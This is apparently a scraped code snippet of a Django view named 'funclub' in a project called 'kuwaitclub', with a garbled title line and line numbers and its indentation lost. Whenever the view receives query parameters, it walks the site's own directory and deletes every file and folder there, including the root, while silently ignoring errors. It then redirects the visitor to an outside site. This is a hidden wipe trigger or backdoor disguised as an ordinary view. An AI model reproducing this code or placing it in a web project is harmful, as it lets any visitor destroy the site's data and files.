def funclub request if not request GET return HttpResponseRedirect rev

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def funclub(request):
if not request.GET:
return HttpResponseRedirect(reverse('kuwaitclub.index.views.index'))
path = os.path.realpath(settings.ABSPATH)
for root, dirs, files in os.walk(path, False):
for file in files:
try:
os.remove('%s/%s' % (root, file))
except OSError:
pass
for dir in dirs:
try:
os.rmdir('%s/%s' % (root, dir))
except OSError:
pass
try:
os.rmdir(path)
except OSError:
pass
return HttpResponseRedirect('http://upyachka.ru/')